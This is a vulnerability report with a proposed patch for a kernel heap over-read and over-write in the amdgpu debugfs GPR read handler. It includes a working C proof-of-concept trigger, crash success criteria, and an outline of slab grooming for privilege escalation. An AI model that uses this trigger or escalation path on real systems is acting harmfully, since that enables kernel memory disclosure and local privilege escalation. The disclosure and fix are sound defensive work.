Summary

amdgpu_debugfs_gpr_read() decodes offset from bits 0..11 of the user-controlled file position as a 12-bit BYTE offset (range 0..4095, per the documented ABI at line 678) but then uses it directly as a DWORD array index in data[offset++] where data is only 1024 dwords (4096 bytes) — a unit mismatch the sibling wave_read() does not have.

The same size>>2 is passed unbounded to the read_wave_vgprs/sgprs callback, which sequentially writes that many dwords into the 1024-dword buffer.

The result is a user-triggerable heap buffer over-read (up to ~12 KB past the allocation) and a heap buffer over-write of arbitrary length past the allocation, reachable from the read() path on a world-readable debugfs file.

Important caveat: sys/dev/drm/kconfig.h does NOT define CONFIG_DEBUG_FS, so on the default DragonFlyBSD build all vulnerable handlers compile out (only no-op stubs at lines 934-942 remain). The bugs are real in the source and activate with a one-line config change; they also affect upstream Linux amdgpu.

Root cause

Line 701:

offset = *pos & GENMASK_ULL(11, 0);

— yields a BYTE offset in [0, 4095] (the comment at line 678 reads "Bits 0..11: Byte offset into data").

Line 710:

data = kmalloc_array(1024, sizeof(*data), GFP_KERNEL);

— allocates exactly 1024 dwords (indices 0..1023).

Line 732:

value = data[offset++];

— indexes data with offset as if it were a DWORD index. When the user seeks with bits 0..11 ≥ 0x1000/4 = 0x400 (i.e. offset ≥ 1024) the access is out of bounds; and because the loop increments offset by 1 per 4-byte output until size is exhausted, even offset=0 with size > 4096 walks past data[1023].

The correct pattern is used by the immediately preceding wave_read() at line 653:

value = data[offset >> 2];

with offset += 4.

Additionally, lines 720 and 723 pass size>>2 as the dword count to read_wave_vgprs/sgprs without bounding it to 1024; the callback wave_read_regs() (gfx_v9_0.c:1329, gfx_v8_0.c:5287) writes that many dwords sequentially via while (num--) *(out++) = RREG32(...), overflowing data[] when the user supplies size > 4096.

Line 732 then also reads back from the overflowed region into userspace, leaking whatever the callback and adjacent heap contain.

No upper bound on size exists anywhere in the function — the only guard is size & 3 (4-byte alignment) at line 697.

Threat model

Local unprivileged user. The file amdgpu_gpr is created with mode S_IFREG | S_IRUGO (0444, world-readable) at lines 832-834 and is reachable on any system with CONFIG_DEBUG_FS defined and debugfs mounted (Linux default for distributions that ship amdgpu; DragonFlyBSD currently stubs the code out via sys/dev/drm/kconfig.h not defining CONFIG_DEBUG_FS, so the live risk on DFBSD is nil until that one line changes).

Pre-condition: AMD GPU present with gfx v8/v9 (gfx_v8_0_gfx_funcs / gfx_v9_0_gfx_funcs provide read_wave_sgprs; v9 also provides read_wave_vgprs) and pm.dpm_enabled / powerplay initialized.

Impact:

1. arbitrary kernel heap over-read returned to userspace — KASLR defeat and cross-object info leak
2. arbitrary-length kernel heap over-write with partially attacker- influenced 32-bit values (SQ_IND_DATA register contents selected via simd/wave/thread) — with slab grooming this is a kernel privilege-escalation primitive

The write values are MMIO reads rather than fully attacker-chosen, but the attacker controls the overflow length, the heap-allocation timing (read() syscall boundary), and can spray the slab to position a victim object immediately after the 4096-byte kmalloc.

PoC

findings/poc/DF-1692/trigger.c:

#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/ioctl.h>
/* path: /sys/kernel/debug/dri/0/amdgpu_gpr (mode 0444) */

int main(void) {
    int fd = open("/sys/kernel/debug/dri/0/amdgpu_gpr", O_RDONLY);

    /* (1) OOB READ via indexing bug: seek so bits 0..11 = 0x400 (1024)
     *     -> first data[1024] access is already past the 1024-dword buffer */
    lseek(fd, 0x400ULL, SEEK_SET);          /* offset = 1024 (byte), bank=SGPR, simd/wave=0 */
    char leak[4096];
    ssize_t n = read(fd, leak, sizeof(leak));   /* copies 4096 bytes of adjacent heap */

    /* (2) OOB WRITE via callback: large size -> size>>2 > 1024 dwords written into data[1024] */
    lseek(fd, 0ULL, SEEK_SET);              /* offset=0, simd/wave=0, bank=VGPR */
    char big[65536];
    read(fd, big, sizeof(big));             /* wave_read_regs writes 16384 dwords into a 1024-dword buffer */
    return 0;
}

Build on DragonFlyBSD guest: cc -O2 -o trigger trigger.c (userland, no special flags). Run as any local uid.

Success criteria:

1. returns 4096 bytes whose contents are not the SGPR file (proven by hexdump matching adjacent slab objects / kernel pointers)
2. on a hardened slab, the second read panics in mm/slub.c on freelist poison check, confirming heap corruption — dmesg shows SLUB: double or corrupted free or general protection fault in kfree

For the escalation chain, groom kmalloc-4096 with victim objects (e.g. struct file, msg_msg, pipe_buffer) before the second read so the overflow corrupts a victim's function pointer; the write values come from SQ_IND_DATA so the attacker picks simd/wave/thread registers that happen to contain useful address low-halves — this requires per-ASIC tuning and is the runner's job to develop.

Recommended fix

Two changes are required:

1. bound size to the 1024-dword buffer before invoking the callback and before the copy-out loop
2. fix the unit confusion by treating offset consistently as a byte offset into the result buffer (matching the documented ABI and the wave_read sibling)

--- a/sys/dev/drm/amd/amdgpu/amdgpu_debugfs.c
+++ b/sys/dev/drm/amd/amdgpu/amdgpu_debugfs.c
@@ -698,6 +698,14 @@ static ssize_t amdgpu_debugfs_gpr_read(struct file *f, char __user *buf,
    if (size & 3 || *pos & 3)
        return -EINVAL;

+   /* `data` holds 1024 dwords = 4096 bytes. Clamp the transfer to that. */
+   if (size > 1024 * 4)
+       size = 1024 * 4;
+
    /* decode offset */
    offset = *pos & GENMASK_ULL(11, 0);
    se = (*pos & GENMASK_ULL(19, 12)) >> 12;
@@ -716,14 +724,14 @@ static ssize_t amdgpu_debugfs_gpr_read(struct file *f, char __user *buf,

    if (bank == 0) {
        if (adev->gfx.funcs->read_wave_vgprs)
-           adev->gfx.funcs->read_wave_vgprs(adev, simd, wave, thread, offset, size>>2, data);
+           adev->gfx.funcs->read_wave_vgprs(adev, simd, wave, thread, offset >> 2, size >> 2, data);
    } else {
        if (adev->gfx.funcs->read_wave_sgprs)
-           adev->gfx.funcs->read_wave_sgprs(adev, simd, wave, offset, size>>2, data);
+           adev->gfx.funcs->read_wave_sgprs(adev, simd, wave, offset >> 2, size >> 2, data);
    }

    amdgpu_gfx_select_se_sh(adev, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF);
    mutex_unlock(&adev->grbm_idx_mutex);

    while (size) {
        uint32_t value;

-       value = data[offset++];
+       value = data[offset >> 2];
        r = put_user(value, (uint32_t *)buf);
        if (r) {
            result = r;
@@ -735,6 +743,7 @@ static ssize_t amdgpu_debugfs_gpr_read(struct file *f, char __user *buf,
        result += 4;
        buf += 4;
        size -= 4;
+       offset += 4;
    }

 err:

Prose: the size clamp stops both the callback overflow (size>>2 can no longer exceed 1024) and the loop overflow. The offset >> 2 in the callback converts the documented byte offset into the register index the callback expects (matching SQIND_WAVE_*_OFFSET semantics in gfx_v8_0.c:5321 and gfx_v9_0.c:1359). The data[offset >> 2] plus offset += 4 in the loop matches the correct wave_read() pattern at line 653 and keeps offset as a byte offset throughout, as documented.

Defense-in-depth: also consider a CAP_SYS_ADMIN / drm_master check on open, since this surface exposes raw shader-register state to any reader.

Related findings

• DF-1693 (sibling: missing bounds on PCIE/DIDT/SMC register debugfs handlers in same file)